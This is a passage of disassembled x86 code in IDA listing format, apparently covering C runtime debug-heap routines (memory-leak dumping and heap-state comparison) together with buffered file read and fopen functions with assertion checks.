		jmp	short loc_416742
; ---------------------------------------------------------------------------


loc_416739:				; CODE XREF: ___:loc_4167C7j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_416742:				; CODE XREF: ___:00416737j
		cmp	dword ptr [ebp-4], 5
		jge	loc_4167CC
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_4167A2
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_4167C7


loc_4167A2:				; CODE XREF: ___:00416793j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4167C7
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_4167C0
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_4167C7
		mov	eax, dword_443890
		and	eax, 10h
		test	eax, eax
		jz	short loc_4167C7


loc_4167C0:				; CODE XREF: ___:004167ACj
		mov	dword ptr [ebp-8], 1


loc_4167C7:				; CODE XREF: ___:004167A0j
					; ___:004167A6j ...
		jmp	loc_416739
; ---------------------------------------------------------------------------


loc_4167CC:				; CODE XREF: ___:00416746j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]


loc_4167FC:				; CODE XREF: ___:0041672Bj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416BF0+5Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		push	9
		call	sub_41B780
		add	esp, 4


loc_41682A:				; CODE XREF: sub_416810+3Ej
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41684A
		int	3		; Trap to Debugger


loc_41684A:				; CODE XREF: sub_416810+37j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41682A
		cmp	[ebp+arg_0], 0
		jz	short loc_41685E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_41685E:				; CODE XREF: sub_416810+44j
		mov	eax, dword_4DB0A0
		mov	[ebp+var_4], eax
		jmp	short loc_416870
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: sub_416810:loc_416A8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_4], edx


loc_416870:				; CODE XREF: sub_416810+56j
		cmp	[ebp+var_4], 0
		jz	loc_416A92
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	loc_416A92
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_4168C4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_4168C4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_4168C9
		mov	ecx, dword_443890
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_4168C9


loc_4168C4:				; CODE XREF: sub_416810+85j
					; sub_416810+95j
		jmp	loc_416A8D
; ---------------------------------------------------------------------------


loc_4168C9:				; CODE XREF: sub_416810+A5j
					; sub_416810+B2j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_416942
		push	0
		push	1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_416380
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416913


loc_4168E9:				; CODE XREF: sub_416810+FFj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41690B
		int	3		; Trap to Debugger


loc_41690B:				; CODE XREF: sub_416810+F8j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4168E9
		jmp	short loc_416942
; ---------------------------------------------------------------------------


loc_416913:				; CODE XREF: sub_416810+D7j
					; sub_416810+130j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41693C
		int	3		; Trap to Debugger


loc_41693C:				; CODE XREF: sub_416810+129j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416913


loc_416942:				; CODE XREF: sub_416810+C0j
					; sub_416810+101j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416964
		int	3		; Trap to Debugger


loc_416964:				; CODE XREF: sub_416810+151j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416942
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_4169EC


loc_41697B:				; CODE XREF: sub_416810+1A7j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4169B3
		int	3		; Trap to Debugger


loc_4169B3:				; CODE XREF: sub_416810+1A0j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41697B
		cmp	dword_4DC7D4, 0
		jz	short loc_4169DB
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	dword_4DC7D4
		add	esp, 8
		jmp	short loc_4169E7
; ---------------------------------------------------------------------------


loc_4169DB:				; CODE XREF: sub_416810+1B0j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_416AD0
		add	esp, 4


loc_4169E7:				; CODE XREF: sub_416810+1C9j
		jmp	loc_416A8D
; ---------------------------------------------------------------------------


loc_4169EC:				; CODE XREF: sub_416810+169j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_416A32


loc_4169F5:				; CODE XREF: sub_416810+212j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_416A1E
		int	3		; Trap to Debugger


loc_416A1E:				; CODE XREF: sub_416810+20Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4169F5
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_416AD0
		add	esp, 4
		jmp	short loc_416A8D
; ---------------------------------------------------------------------------


loc_416A32:				; CODE XREF: sub_416810+1E3j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_416A8D


loc_416A43:				; CODE XREF: sub_416810+26Fj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416A7B
		int	3		; Trap to Debugger


loc_416A7B:				; CODE XREF: sub_416810+268j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416A43
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_416AD0
		add	esp, 4


loc_416A8D:				; CODE XREF: sub_416810:loc_4168C4j
					; sub_416810:loc_4169E7j ...
		jmp	loc_416868
; ---------------------------------------------------------------------------


loc_416A92:				; CODE XREF: sub_416810+64j
					; sub_416810+70j
		push	9
		call	sub_41B820
		add	esp, 4


loc_416A9C:				; CODE XREF: sub_416810+2B0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416ABC
		int	3		; Trap to Debugger


loc_416ABC:				; CODE XREF: sub_416810+2A9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416A9C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AD0	proc near		; CODE XREF: sub_416810+1CFp
					; sub_416810+218p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_416AEB
; ---------------------------------------------------------------------------


loc_416AE2:				; CODE XREF: sub_416AD0+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax


loc_416AEB:				; CODE XREF: sub_416AD0+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_416AFF
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_416B06
; ---------------------------------------------------------------------------


loc_416AFF:				; CODE XREF: sub_416AD0+22j
		mov	[ebp+var_54], 10h


loc_416B06:				; CODE XREF: sub_416AD0+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_416BAC
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	dword_443B70, 1
		jle	short loc_416B43
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_416B60
; ---------------------------------------------------------------------------


loc_416B43:				; CODE XREF: sub_416AD0+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx


loc_416B60:				; CODE XREF: sub_416AD0+71j
		cmp	[ebp+var_58], 0
		jz	short loc_416B74
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_416B7B
; ---------------------------------------------------------------------------


loc_416B74:				; CODE XREF: sub_416AD0+94j
		mov	[ebp+var_5C], 20h


loc_416B7B:				; CODE XREF: sub_416AD0+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_4171D0
		add	esp, 0Ch
		jmp	loc_416AE2
; ---------------------------------------------------------------------------


loc_416BAC:				; CODE XREF: sub_416AD0+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0


loc_416BB4:				; CODE XREF: sub_416AD0+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_416BD7
		int	3		; Trap to Debugger


loc_416BD7:				; CODE XREF: sub_416AD0+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416BB4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BF0	proc near		; CODE XREF: sub_4179C0+B9p

var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_416570
		add	esp, 4
		cmp	[ebp+var_20], 0
		jnz	short loc_416C24
		cmp	[ebp+var_2C], 0
		jnz	short loc_416C24
		mov	ecx, dword_443890
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_416C5B
		cmp	[ebp+var_28], 0
		jz	short loc_416C5B


loc_416C24:				; CODE XREF: sub_416BF0+19j
					; sub_416BF0+1Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416C44
		int	3		; Trap to Debugger


loc_416C44:				; CODE XREF: sub_416BF0+51j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416C24
		push	0
		call	sub_416810
		add	esp, 4
		mov	eax, 1
		jmp	short loc_416C5D
; ---------------------------------------------------------------------------


loc_416C5B:				; CODE XREF: sub_416BF0+2Cj
					; sub_416BF0+32j
		xor	eax, eax


loc_416C5D:				; CODE XREF: sub_416BF0+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416BF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_416C82
		jmp	loc_416D2E
; ---------------------------------------------------------------------------


loc_416C82:				; CODE XREF: ___:00416C7Bj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_416C94
; ---------------------------------------------------------------------------


loc_416C8B:				; CODE XREF: ___:00416CDCj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_416C94:				; CODE XREF: ___:00416C89j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_416CDE


loc_416C9A:				; CODE XREF: ___:00416CDAj
		mov	ecx, [ebp-4]
		mov	edx, off_4438A0[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416CD6
		int	3		; Trap to Debugger


loc_416CD6:				; CODE XREF: ___:00416CD3j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416C9A
		jmp	short loc_416C8B
; ---------------------------------------------------------------------------


loc_416CDE:				; CODE XREF: ___:00416C98j
					; ___:00416D04j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416D00
		int	3		; Trap to Debugger


loc_416D00:				; CODE XREF: ___:00416CFDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416CDE


loc_416D06:				; CODE XREF: ___:00416D2Cj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416D28
		int	3		; Trap to Debugger


loc_416D28:				; CODE XREF: ___:00416D25j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416D06


loc_416D2E:				; CODE XREF: ___:00416C7Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D40	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040D8ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_418E90
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_416D80
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_416D40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D80	proc near		; CODE XREF: sub_416D40+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_416DA9
		xor	eax, eax
		jmp	loc_416F4B
; ---------------------------------------------------------------------------


loc_416DA9:				; CODE XREF: sub_416D80+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_416DC4
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_416DCB
; ---------------------------------------------------------------------------


loc_416DC4:				; CODE XREF: sub_416D80+37j
		mov	[ebp+var_1C], 1000h


loc_416DCB:				; CODE XREF: sub_416D80+42j
					; sub_416D80:loc_416F43j
		cmp	[ebp+var_C], 0
		jz	loc_416F48
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_416E59
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416E59
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_416E01
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_416E0A
; ---------------------------------------------------------------------------


loc_416E01:				; CODE XREF: sub_416D80+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_416E0A:				; CODE XREF: sub_416D80+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4187B0
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_416F43
; ---------------------------------------------------------------------------


loc_416E59:				; CODE XREF: sub_416D80+63j
					; sub_416D80+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_416EFE
		cmp	[ebp+var_1C], 0
		jz	short loc_416E7D
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_416E83
; ---------------------------------------------------------------------------


loc_416E7D:				; CODE XREF: sub_416D80+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_416E83:				; CODE XREF: sub_416D80+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_41DD40
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_416EC8
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_416F4B
; ---------------------------------------------------------------------------


loc_416EC8:				; CODE XREF: sub_416D80+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_416EEA
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_416F4B
; ---------------------------------------------------------------------------


loc_416EEA:				; CODE XREF: sub_416D80+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_416F43
; ---------------------------------------------------------------------------


loc_416EFE:				; CODE XREF: sub_416D80+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41DB50
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_416F20
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_416F4B
; ---------------------------------------------------------------------------


loc_416F20:				; CODE XREF: sub_416D80+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax


loc_416F43:				; CODE XREF: sub_416D80+D4j
					; sub_416D80+17Cj
		jmp	loc_416DCB
; ---------------------------------------------------------------------------


loc_416F48:				; CODE XREF: sub_416D80+4Fj
		mov	eax, [ebp+arg_8]


loc_416F4B:				; CODE XREF: sub_416D80+24j
					; sub_416D80+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_416D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F50	proc near		; CODE XREF: sub_417050+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_416F59:				; CODE XREF: sub_416F50+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_416F7D
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416F7D
		int	3		; Trap to Debugger


loc_416F7D:				; CODE XREF: sub_416F50+Dj
					; sub_416F50+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416F59


loc_416F83:				; CODE XREF: sub_416F50+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_416FAB
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416FAB
		int	3		; Trap to Debugger


loc_416FAB:				; CODE XREF: sub_416F50+3Bj
					; sub_416F50+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416F83


loc_416FB1:				; CODE XREF: sub_416F50+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_416FD5
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416FD5
		int	3		; Trap to Debugger


loc_416FD5:				; CODE XREF: sub_416F50+65j
					; sub_416F50+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416FB1


loc_416FDB:				; CODE XREF: sub_416F50+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_417003
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417003
		int	3		; Trap to Debugger


loc_417003:				; CODE XREF: sub_416F50+93j
					; sub_416F50+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416FDB
		call	sub_41E5B0
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41701B
		xor	eax, eax
		jmp	short loc_417045
; ---------------------------------------------------------------------------


loc_41701B:				; CODE XREF: sub_416F50+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41E220
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp+var_8]


loc_417045:				; CODE XREF: sub_416F50+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417050	proc near		; CODE XREF: sub_4010AB+18p
					; sub_403038+29F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_416F50
		add	esp, 0Ch
		pop	ebp
		retn
sub_417050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417070	proc near		; CODE XREF: ___:0040120Ap
					; ___:00401218p ...

arg_0		= dword	ptr  4
